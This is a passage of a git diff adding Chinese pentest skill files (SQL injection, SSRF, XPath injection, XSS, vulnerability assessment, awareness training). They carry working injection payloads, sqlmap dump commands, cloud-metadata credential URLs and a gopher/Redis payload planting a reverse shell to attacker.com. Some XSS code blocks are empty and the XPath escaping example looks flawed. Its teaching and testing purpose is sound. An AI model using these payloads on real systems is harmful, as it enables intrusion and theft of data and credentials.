4. 监控和维护 + +- 监控自动化任务 +- 定期检查结果 +- 更新规则和脚本 +- 优化性能 + +## 注意事项 + +- 确保自动化准确性 +- 设置适当的权限 +- 保护自动化凭证 +- 定期审查自动化规则 \ No newline at end of file diff --git a/skills/security-awareness-training/SKILL.md b/skills/security-awareness-training/SKILL.md new file mode 100644 index 00000000..f02d6d40 --- /dev/null +++ b/skills/security-awareness-training/SKILL.md @@ -0,0 +1,285 @@ +--- +name: security-awareness-training +description: 安全意识培训的专业技能和方法论 +version: 1.0.0 +--- + +# 安全意识培训 + +## 概述 + +安全意识培训是提高组织整体安全水平的重要措施。本技能提供安全意识培训的方法、内容和最佳实践。 + +## 培训目标 + +### 1. 知识提升 + +**目标:** +- 了解安全威胁 +- 识别安全风险 +- 掌握防护措施 +- 理解安全政策 + +### 2. 行为改变 + +**目标:** +- 养成安全习惯 +- 遵守安全规范 +- 主动报告事件 +- 参与安全活动 + +### 3. 文化建立 + +**目标:** +- 建立安全文化 +- 提高安全意识 +- 促进安全协作 +- 持续改进 + +## 培训内容 + +### 1. 基础安全 + +**内容:** +- 密码安全 +- 账户安全 +- 设备安全 +- 网络安全 + +**密码安全:** +- 使用强密码 +- 密码不重用 +- 启用多因素认证 +- 定期更换密码 + +**账户安全:** +- 保护账户信息 +- 不共享账户 +- 及时注销账户 +- 监控账户活动 + +### 2. 邮件安全 + +**内容:** +- 识别钓鱼邮件 +- 处理可疑邮件 +- 附件安全 +- 链接安全 + +**钓鱼邮件识别:** +- 检查发件人 +- 检查链接 +- 检查附件 +- 检查内容 + +**处理可疑邮件:** +- 不点击链接 +- 不打开附件 +- 报告安全团队 +- 删除邮件 + +### 3. 社交工程 + +**内容:** +- 识别社交工程 +- 防范社交工程 +- 报告可疑行为 + +**常见手段:** +- 假冒身份 +- 紧急情况 +- 权威要求 +- 利益诱惑 + +**防范措施:** +- 验证身份 +- 不轻信 +- 报告可疑 +- 遵守流程 + +### 4. 数据安全 + +**内容:** +- 数据分类 +- 数据保护 +- 数据共享 +- 数据销毁 + +**数据保护:** +- 加密敏感数据 +- 安全存储 +- 安全传输 +- 访问控制 + +**数据共享:** +- 最小化共享 +- 使用安全渠道 +- 验证接收方 +- 记录共享 + +### 5. 物理安全 + +**内容:** +- 设备安全 +- 办公环境 +- 访客管理 +- 应急响应 + +**设备安全:** +- 锁定屏幕 +- 保护设备 +- 安全存储 +- 及时报告丢失 + +## 培训方法 + +### 1. 在线培训 + +**优势:** +- 灵活方便 +- 可重复学习 +- 成本较低 +- 易于跟踪 + +**实施:** +- 使用LMS平台 +- 制作培训内容 +- 设置学习路径 +- 跟踪学习进度 + +### 2. 面对面培训 + +**优势:** +- 互动性强 +- 即时反馈 +- 深度讨论 +- 建立关系 + +**实施:** +- 定期培训 +- 分组讨论 +- 案例分析 +- 实践演练 + +### 3. 模拟演练 + +**优势:** +- 真实场景 +- 实践操作 +- 检验效果 +- 提高能力 + +**实施:** +- 钓鱼邮件演练 +- 社交工程演练 +- 应急响应演练 +- 安全事件演练 + +## 培训计划 + +### 新员工培训 + +**内容:** +- 安全政策 +- 基础安全知识 +- 工具使用 +- 报告流程 + +**时间:** +- 入职时 +- 第一周 +- 持续跟进 + +### 定期培训 + +**内容:** +- 最新威胁 +- 安全更新 +- 案例分析 +- 最佳实践 + +**频率:** +- 季度培训 +- 年度培训 +- 专项培训 + +### 专项培训 + +**内容:** +- 特定角色培训 +- 深度培训 +- 认证培训 + +**对象:** +- 管理员 +- 开发人员 +- 安全人员 +- 管理层 + +## 评估方法 + +### 1. 知识测试 + +**方法:** +- 在线测试 +- 问卷调查 +- 技能评估 + +**指标:** +- 测试分数 +- 通过率 +- 改进情况 + +### 2. 行为观察 + +**方法:** +- 模拟演练 +- 实际观察 +- 事件分析 + +**指标:** +- 演练结果 +- 事件数量 +- 报告数量 + +### 3. 反馈收集 + +**方法:** +- 培训反馈 +- 满意度调查 +- 建议收集 + +**指标:** +- 满意度 +- 改进建议 +- 培训效果 + +## 最佳实践 + +### 1. 内容设计 + +- 针对性强 +- 实用易懂 +- 案例丰富 +- 持续更新 + +### 2. 实施策略 + +- 定期培训 +- 多种形式 +- 互动参与 +- 跟踪效果 + +### 3. 文化建设 + +- 领导支持 +- 全员参与 +- 持续改进 +- 奖励机制 + +## 注意事项 + +- 内容要实用 +- 形式要多样 +- 跟踪要持续 +- 改进要及时 \ No newline at end of file diff --git a/skills/sql-injection-testing/SKILL.md b/skills/sql-injection-testing/SKILL.md new file mode 100644 index 00000000..91603b41 --- /dev/null +++ b/skills/sql-injection-testing/SKILL.md @@ -0,0 +1,101 @@ +--- +name: sql-injection-testing +description: SQL注入测试的专业技能和方法论 +version: 1.0.0 +--- + +# SQL注入测试技能 + +## 概述 + +SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。 + +## 测试方法 + +### 1. 参数识别 +- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等 +- 重点关注:id、search、filter、sort等参数 +- 使用Burp Suite或类似工具拦截和修改请求 + +### 2. 基础检测 +- 单引号测试:`'` - 查看是否出现SQL错误 +- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2` +- 时间盲注:`' AND SLEEP(5)--` +- 联合查询:`' UNION SELECT NULL--` + +### 3. 数据库识别 +- MySQL:`' AND @@version LIKE '%mysql%'--` +- PostgreSQL:`' AND version() LIKE '%PostgreSQL%'--` +- MSSQL:`' AND @@version LIKE '%Microsoft%'--` +- Oracle:`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--` + +### 4. 信息提取 +- 数据库名:`' UNION SELECT database()--` +- 表名:`' UNION SELECT table_name FROM information_schema.tables--` +- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--` +- 数据提取:`' UNION SELECT username,password FROM users--` + +## 工具使用 + +### sqlmap +```bash +# 基础扫描 +sqlmap -u "http://target.com/page?id=1" + +# 指定参数 +sqlmap -u "http://target.com/page" --data="id=1" --method=POST + +# 指定数据库类型 +sqlmap -u "http://target.com/page?id=1" --dbms=mysql + +# 获取数据库列表 +sqlmap -u "http://target.com/page?id=1" --dbs + +# 获取表 +sqlmap -u "http://target.com/page?id=1" -D database_name --tables + +# 获取数据 +sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump +``` + +### 手动测试 +- 使用Burp Suite的Repeater模块 +- 使用浏览器开发者工具 +- 编写Python脚本自动化测试 + +## 绕过技术 + +### WAF绕过 +- 编码绕过:URL编码、Unicode编码、十六进制编码 +- 注释绕过:`/**/`, `--`, `#` +- 大小写混合:`SeLeCt`, `UnIoN` +- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行) + +### 示例 +``` +原始:' UNION SELECT NULL-- +绕过1:'/**/UNION/**/SELECT/**/NULL-- +绕过2:'%55nion%20select%20null-- +绕过3:'/*!UNION*//*!SELECT*/null-- +``` + +## 验证和报告 + +### 验证步骤 +1. 确认可以执行SQL语句 +2. 提取数据库信息验证 +3. 评估影响范围(数据泄露、权限提升等) +4. 记录完整的POC(请求/响应) + +### 报告要点 +- 漏洞位置和参数 +- 影响的数据和系统 +- 完整的利用步骤 +- 修复建议(参数化查询、输入验证等) + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免对生产数据造成破坏 +- 谨慎使用DROP、DELETE等危险操作 +- 记录所有测试步骤以便复现 diff --git a/skills/ssrf-testing/SKILL.md b/skills/ssrf-testing/SKILL.md new file mode 100644 index 00000000..bd1618ba --- /dev/null +++ b/skills/ssrf-testing/SKILL.md @@ -0,0 +1,266 @@ +--- +name: ssrf-testing +description: SSRF服务器端请求伪造测试的专业技能和方法论 +version: 1.0.0 +--- + +# SSRF服务器端请求伪造测试 + +## 概述 + +SSRF(Server-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。 + +## 漏洞原理 + +应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致: +- 内网资源访问 +- 本地文件读取 +- 端口扫描 +- 绕过防火墙 +- 云服务元数据访问 + +## 测试方法 + +### 1. 识别SSRF输入点 + +**常见功能:** +- URL预览/截图 +- 文件上传(远程URL) +- Webhook回调 +- API代理 +- 数据导入 +- 图片处理 +- PDF生成 + +### 2. 基础检测 + +**测试本地回环:** +``` +http://127.0.0.1 +http://localhost +http://0.0.0.0 +http://[::1] +``` + +**测试内网IP:** +``` +http://192.168.1.1 +http://10.0.0.1 +http://172.16.0.1 +``` + +**测试文件协议:** +``` +file:///etc/passwd +file:///C:/Windows/System32/drivers/etc/hosts +``` + +### 3. 绕过技术 + +**IP地址编码:** +``` +127.0.0.1 → 2130706433 (十进制) +127.0.0.1 → 0x7f000001 (十六进制) +127.0.0.1 → 0177.0.0.1 (八进制) +``` + +**域名解析绕过:** +``` +127.0.0.1.xip.io +127.0.0.1.nip.io +localtest.me +``` + +**URL重定向:** +``` +http://attacker.com/redirect → http://127.0.0.1 +``` + +**协议混淆:** +``` +http://127.0.0.1:80@evil.com +http://evil.com#@127.0.0.1 +``` + +## 利用技术 + +### 内网探测 + +**端口扫描:** +```bash +# 使用Burp Intruder +http://127.0.0.1:22 +http://127.0.0.1:3306 +http://127.0.0.1:6379 +http://127.0.0.1:8080 +http://127.0.0.1:9200 +``` + +**识别服务:** +- 响应时间差异 +- 错误信息 +- HTTP状态码 +- 响应内容 + +### 云服务元数据 + +**AWS EC2:** +``` +http://169.254.169.254/latest/meta-data/ +http://169.254.169.254/latest/meta-data/iam/security-credentials/ +``` + +**Google Cloud:** +``` +http://metadata.google.internal/computeMetadata/v1/ +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/ +``` + +**Azure:** +``` +http://169.254.169.254/metadata/instance?api-version=2021-02-01 +http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01 +``` + +**阿里云:** +``` +http://100.100.100.200/latest/meta-data/ +http://100.100.100.200/latest/meta-data/ram/security-credentials/ +``` + +### 内网应用攻击 + +**访问管理后台:** +``` +http://127.0.0.1:8080/admin +http://192.168.1.100/phpmyadmin +``` + +**Redis未授权访问:** +``` +http://127.0.0.1:6379 +# 然后发送Redis命令 +``` + +**FastCGI攻击:** +``` +http://127.0.0.1:9000 +# 利用FastCGI协议执行命令 +``` + +## 高级利用 + +### Gopher协议 + +**发送任意协议数据:** +``` +gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a +``` + +**Redis命令执行:** +``` +gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a +``` + +### Dict协议 + +**端口扫描和信息收集:** +``` +dict://127.0.0.1:6379/info +dict://127.0.0.1:3306/status +``` + +### 文件协议 + +**读取本地文件:** +``` +file:///etc/passwd +file:///C:/Windows/System32/drivers/etc/hosts +file:///proc/self/environ +``` + +## 工具使用 + +### SSRFmap + +```bash +# 基础扫描 +python3 ssrfmap.py -r request.txt -p url + +# 端口扫描 +python3 ssrfmap.py -r request.txt -p url -m portscan + +# 云元数据 +python3 ssrfmap.py -r request.txt -p url -m cloud +``` + +### Gopherus + +```bash +# 生成Gopher payload +python gopherus.py --exploit redis +``` + +### Burp Collaborator + +**检测盲SSRF:** +``` +http://burpcollaborator.net +# 观察是否有DNS/HTTP请求 +``` + +## 验证和报告 + +### 验证步骤 + +1. 确认可以控制请求目标 +2. 验证内网资源访问或端口扫描 +3. 评估影响范围(内网渗透、数据泄露等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和输入参数 +- 可访问的内网资源或端口 +- 完整的利用步骤和PoC +- 修复建议(URL白名单、禁用危险协议等) + +## 防护措施 + +### 推荐方案 + +1. **URL白名单** + ```python + ALLOWED_DOMAINS = ['example.com', 'cdn.example.com'] + parsed = urlparse(url) + if parsed.netloc not in ALLOWED_DOMAINS: + raise ValueError("Domain not allowed") + ``` + +2. **禁用危险协议** + - 只允许http/https + - 禁止file://、gopher://、dict://等 + +3. **IP地址过滤** + ```python + import ipaddress + + def is_internal_ip(ip): + return ipaddress.ip_address(ip).is_private or \ + ipaddress.ip_address(ip).is_loopback + ``` + +4. **使用DNS解析验证** + - 解析域名获取IP + - 验证IP是否在内网范围 + +5. **网络隔离** + - 限制服务器出网权限 + - 使用代理服务器 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免对内网系统造成影响 +- 注意不同协议的支持情况 +- 测试时注意请求频率,避免触发防护 \ No newline at end of file diff --git a/skills/vulnerability-assessment/SKILL.md b/skills/vulnerability-assessment/SKILL.md new file mode 100644 index 00000000..0c425d74 --- /dev/null +++ b/skills/vulnerability-assessment/SKILL.md @@ -0,0 +1,305 @@ +--- +name: vulnerability-assessment +description: 漏洞评估的专业技能和方法论 +version: 1.0.0 +--- + +# 漏洞评估 + +## 概述 + +漏洞评估是识别和评估系统漏洞的重要环节。本技能提供漏洞评估的方法、工具和最佳实践。 + +## 评估流程 + +### 1. 范围确定 + +**确定范围:** +- 目标系统 +- 网络范围 +- 应用范围 +- 测试深度 + +### 2. 信息收集 + +**收集信息:** +- 系统信息 +- 网络拓扑 +- 服务信息 +- 应用信息 + +### 3. 漏洞扫描 + +**扫描类型:** +- 网络扫描 +- 主机扫描 +- 应用扫描 +- 配置扫描 + +### 4. 漏洞验证 + +**验证方法:** +- 手动验证 +- 工具验证 +- 概念验证 +- 影响评估 + +### 5. 风险评估 + +**评估因素:** +- 漏洞严重性 +- 利用难度 +- 影响范围 +- 业务影响 + +## 扫描工具 + +### 网络扫描 + +**使用Nessus:** +```bash +# 启动Nessus +# 创建扫描任务 +# 配置扫描策略 +# 执行扫描 +# 分析结果 +``` + +**使用OpenVAS:** +```bash +# 启动OpenVAS +gvm-setup + +# 创建扫描任务 +# 执行扫描 +# 分析结果 +``` + +**使用Nmap:** +```bash +# 漏洞扫描 +nmap --script vuln target + +# 特定漏洞 +nmap --script smb-vuln-ms17-010 target +``` + +### 应用扫描 + +**使用Burp Suite:** +```bash +# 配置代理 +# 浏览应用 +# 被动扫描 +# 主动扫描 +# 分析结果 +``` + +**使用OWASP ZAP:** +```bash +# 启动ZAP +zap.sh + +# 快速扫描 +zap-cli quick-scan http://target.com + +# 完整扫描 +zap-cli full-scan http://target.com +``` + +**使用Acunetix:** +```bash +# 启动Acunetix +# 创建扫描任务 +# 配置扫描选项 +# 执行扫描 +# 分析结果 +``` + +### 代码扫描 + +**使用SonarQube:** +```bash +# 运行扫描 +sonar-scanner + +# 分析结果 +# 查看报告 +``` + +**使用Checkmarx:** +```bash +# 使用Web界面 +# 上传代码 +# 执行扫描 +# 分析结果 +``` + +## 漏洞分类 + +### 按严重性 + +**严重(Critical):** +- 远程代码执行 +- SQL注入 +- 认证绕过 +- 敏感数据泄露 + +**高危(High):** +- 权限提升 +- 信息泄露 +- 业务逻辑漏洞 +- 配置错误 + +**中危(Medium):** +- XSS漏洞 +- CSRF漏洞 +- 弱密码 +- 不安全的配置 + +**低危(Low):** +- 信息泄露 +- 配置建议 +- 最佳实践 +- 信息收集 + +### 按类型 + +**注入漏洞:** +- SQL注入 +- 命令注入 +- LDAP注入 +- XPath注入 + +**认证漏洞:** +- 弱密码 +- 会话固定 +- 认证绕过 +- 密码重置 + +**授权漏洞:** +- 权限提升 +- IDOR +- 水平权限 +- 垂直权限 + +**配置错误:** +- 默认配置 +- 错误配置 +- 不安全的存储 +- 敏感信息泄露 + +## 风险评估 + +### CVSS评分 + +**基础指标:** +- 攻击向量(AV) +- 攻击复杂度(AC) +- 所需权限(PR) +- 用户交互(UI) + +**影响指标:** +- 机密性影响(C) +- 完整性影响(I) +- 可用性影响(A) + +**计算CVSS:** +```bash +# 使用CVSS计算器 +# 输入指标 +# 计算分数 +# 确定等级 +``` + +### 业务影响 + +**评估因素:** +- 数据敏感性 +- 系统重要性 +- 业务影响 +- 合规要求 + +**风险矩阵:** +``` + 低影响 中影响 高影响 +高可能性 中 高 严重 +中可能性 低 中 高 +低可能性 低 低 中 +``` + +## 报告编写 + +### 报告结构 + +**执行摘要:** +- 评估概述 +- 关键发现 +- 风险评级 +- 建议措施 + +**详细发现:** +- 漏洞描述 +- 影响分析 +- 利用步骤 +- 修复建议 + +**附录:** +- 扫描配置 +- 工具版本 +- 参考链接 +- 术语表 + +### 报告模板 + +```markdown +# 漏洞评估报告 + +## 执行摘要 +- 评估时间:2024-01-01 +- 评估范围:xxx +- 发现漏洞:xx个 +- 严重漏洞:x个 + +## 漏洞列表 + +### VULN-001: SQL注入 +- 严重性:严重 +- CVSS评分:9.8 +- 描述:... +- 影响:... +- 修复建议:... + +## 总结 +... +``` + +## 最佳实践 + +### 1. 扫描前 + +- 获得授权 +- 确定范围 +- 准备工具 +- 通知相关人员 + +### 2. 扫描中 + +- 系统化扫描 +- 记录操作 +- 验证漏洞 +- 评估影响 + +### 3. 扫描后 + +- 分析结果 +- 编写报告 +- 提供建议 +- 跟踪修复 + +## 注意事项 + +- 获得明确授权 +- 避免对系统造成影响 +- 保护扫描数据 +- 及时报告关键漏洞 \ No newline at end of file diff --git a/skills/xpath-injection-testing/SKILL.md b/skills/xpath-injection-testing/SKILL.md new file mode 100644 index 00000000..e822fd73 --- /dev/null +++ b/skills/xpath-injection-testing/SKILL.md @@ -0,0 +1,306 @@ +--- +name: xpath-injection-testing +description: XPath注入漏洞测试的专业技能和方法论 +version: 1.0.0 +--- + +# XPath注入漏洞测试 + +## 概述 + +XPath注入是一种类似于SQL注入的漏洞,利用XPath查询语句的构造缺陷,可能导致信息泄露、认证绕过等。本技能提供XPath注入的检测、利用和防护方法。 + +## 漏洞原理 + +应用程序将用户输入直接拼接到XPath查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。 + +**危险代码示例:** +```java +String xpath = "//user[username='" + username + "' and password='" + password + "']"; +XPathExpression expr = xpath.compile(xpath); +NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET); +``` + +## XPath基础 + +### 查询语法 + +**基础查询:** +``` +//user[username='admin'] +//user[@id='1'] +//user[username='admin' and password='pass'] +//user[username='admin' or username='user'] +``` + +### 函数 + +**常用函数:** +- `text()` - 获取文本内容 +- `count()` - 计数 +- `substring()` - 子字符串 +- `string-length()` - 字符串长度 +- `contains()` - 包含检查 + +## 测试方法 + +### 1. 识别XPath输入点 + +**常见功能:** +- 用户登录 +- 数据搜索 +- XML数据查询 +- 配置查询 + +### 2. 基础检测 + +**测试特殊字符:** +``` +' or '1'='1 +' or '1'='1' or ' +' or 1=1 or ' +') or ('1'='1 +``` + +**测试逻辑操作符:** +``` +' or '1'='1 +' and '1'='2 +' or 1=1 or ' +``` + +### 3. 认证绕过 + +**基础绕过:** +``` +用户名: admin' or '1'='1 +密码: anything +查询: //user[username='admin' or '1'='1' and password='anything'] +``` + +**更精确的绕过:** +``` +用户名: admin') or ('1'='1 +查询: //user[username='admin') or ('1'='1' and password='*'] +``` + +### 4. 信息泄露 + +**枚举用户:** +``` +' or 1=1 or ' +' or '1'='1 +') or 1=1 or (' +``` + +**获取节点数量:** +``` +' or count(//user)>0 or ' +``` + +**获取特定节点:** +``` +' or substring(//user[1]/username,1,1)='a' or ' +``` + +## 利用技术 + +### 认证绕过 + +**方法1:逻辑绕过** +``` +输入: admin' or '1'='1 +查询: //user[username='admin' or '1'='1' and password='*'] +结果: 匹配所有用户 +``` + +**方法2:注释绕过** +``` +输入: admin')] | //* | //*[(' +查询: //user[username='admin')] | //* | //*[('' and password='*'] +``` + +**方法3:布尔盲注** +``` +' or substring(//user[1]/username,1,1)='a' or ' +' or substring(//user[1]/username,1,1)='b' or ' +``` + +### 信息泄露 + +**枚举所有用户:** +``` +' or 1=1 or ' +结果: 返回所有用户节点 +``` + +**获取用户名:** +``` +' or substring(//user[1]/username,1,1)='a' or ' +' or substring(//user[1]/username,2,1)='d' or ' +逐步获取每个字符 +``` + +**获取密码:** +``` +' or substring(//user[1]/password,1,1)='p' or ' +逐步获取密码字符 +``` + +### 盲注技术 + +**基于时间的盲注:** +``` +' or count(//user[substring(username,1,1)='a'])>0 and sleep(5) or ' +``` + +**基于布尔值的盲注:** +``` +' or substring(//user[1]/username,1,1)='a' or ' +观察响应差异 +``` + +## 绕过技术 + +### 编码绕过 + +**URL编码:** +``` +' or '1'='1 → %27%20or%20%271%27%3D%271 +``` + +**HTML实体编码:** +``` +' → ' +" → " +< → < +> → > +``` + +### 注释绕过 + +**使用注释:** +``` +' or 1=1 or ' +' or '1'='1' or ' +``` + +### 函数绕过 + +**使用不同函数:** +``` +substring(//user[1]/username,1,1) +substring(//user[position()=1]/username,1,1) +//user[1]/username/text()[1] +``` + +## 工具使用 + +### XPath表达式测试 + +**在线工具:** +- XPath Tester +- XMLSpy +- Oxygen XML Editor + +### Burp Suite + +1. 拦截XPath查询请求 +2. 修改查询参数 +3. 观察响应结果 + +### Python脚本 + +```python +from lxml import etree +from lxml.etree import XPath + +# 加载XML文档 +doc = etree.parse('users.xml') + +# 测试注入 +xpath_expr = "//user[username='admin' or '1'='1']" +xpath = XPath(xpath_expr) +results = xpath(doc) +print(results) +``` + +## 验证和报告 + +### 验证步骤 + +1. 确认可以控制XPath查询 +2. 验证认证绕过或信息泄露 +3. 评估影响(未授权访问、数据泄露等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和输入参数 +- XPath查询构造方式 +- 完整的利用步骤和PoC +- 修复建议(输入验证、参数化查询等) + +## 防护措施 + +### 推荐方案 + +1. **输入验证** + ```java + private static final String[] XPATH_ESCAPE_CHARS = + {"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "}; + + public static String escapeXPath(String input) { + if (input == null) { + return null; + } + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < input.length(); i++) { + char c = input.charAt(i); + if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) { + sb.append("\\"); + } + sb.append(c); + } + return sb.toString(); + } + ``` + +2. **参数化查询** + ```java + // 使用XPath变量 + String xpath = "//user[username=$username and password=$password]"; + XPathExpression expr = xpath.compile(xpath); + XPathVariableResolver resolver = new MapVariableResolver( + Map.of("username", escapedUsername, "password", escapedPassword)); + expr.setXPathVariableResolver(resolver); + ``` + +3. **白名单验证** + ```java + // 只允许特定字符 + if (!input.matches("^[a-zA-Z0-9@._-]+$")) { + throw new IllegalArgumentException("Invalid input"); + } + ``` + +4. **使用预编译查询** + ```java + // 预定义查询模板 + private static final String LOGIN_QUERY = + "//user[username=$1 and password=$2]"; + + // 使用参数绑定 + ``` + +5. **最小权限** + - 限制XPath查询范围 + - 使用访问控制 + - 限制可查询的节点 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 注意不同XPath版本的语法差异 +- 测试时避免对XML数据造成影响 +- 了解目标应用的XPath实现 \ No newline at end of file diff --git a/skills/xss-testing/SKILL.md b/skills/xss-testing/SKILL.md new file mode 100644 index 00000000..bf4a340a --- /dev/null +++ b/skills/xss-testing/SKILL.md @@ -0,0 +1,135 @@ +--- +name: xss-testing +description: XSS跨站脚本攻击测试的专业技能 +version: 1.0.0 +--- + +# XSS测试技能 + +## 概述 + +跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。 + +## XSS类型 + +### 1. 反射型XSS (Reflected XSS) +- 恶意脚本通过URL参数传递 +- 服务器直接返回包含脚本的响应 +- 需要用户点击恶意链接 + +### 2. 存储型XSS (Stored XSS) +- 恶意脚本存储在服务器(数据库、文件等) +- 所有访问受影响页面的用户都会执行脚本 +- 影响范围更大 + +### 3. DOM型XSS (DOM-based XSS) +- 客户端JavaScript处理用户输入不当 +- 不涉及服务器端处理 +- 通过修改DOM结构触发 + +## 测试方法 + +### 基础Payload +```javascript + + + + +``` + +### 绕过过滤 + +#### 大小写绕过 +```javascript + +``` + +#### 编码绕过 +```javascript +%3Cscript%3Ealert('XSS')%3C/script%3E +<script>alert('XSS')</script> +``` + +#### 事件处理器 +```javascript + +
hover
+ +``` + +#### 伪协议 +```javascript +click +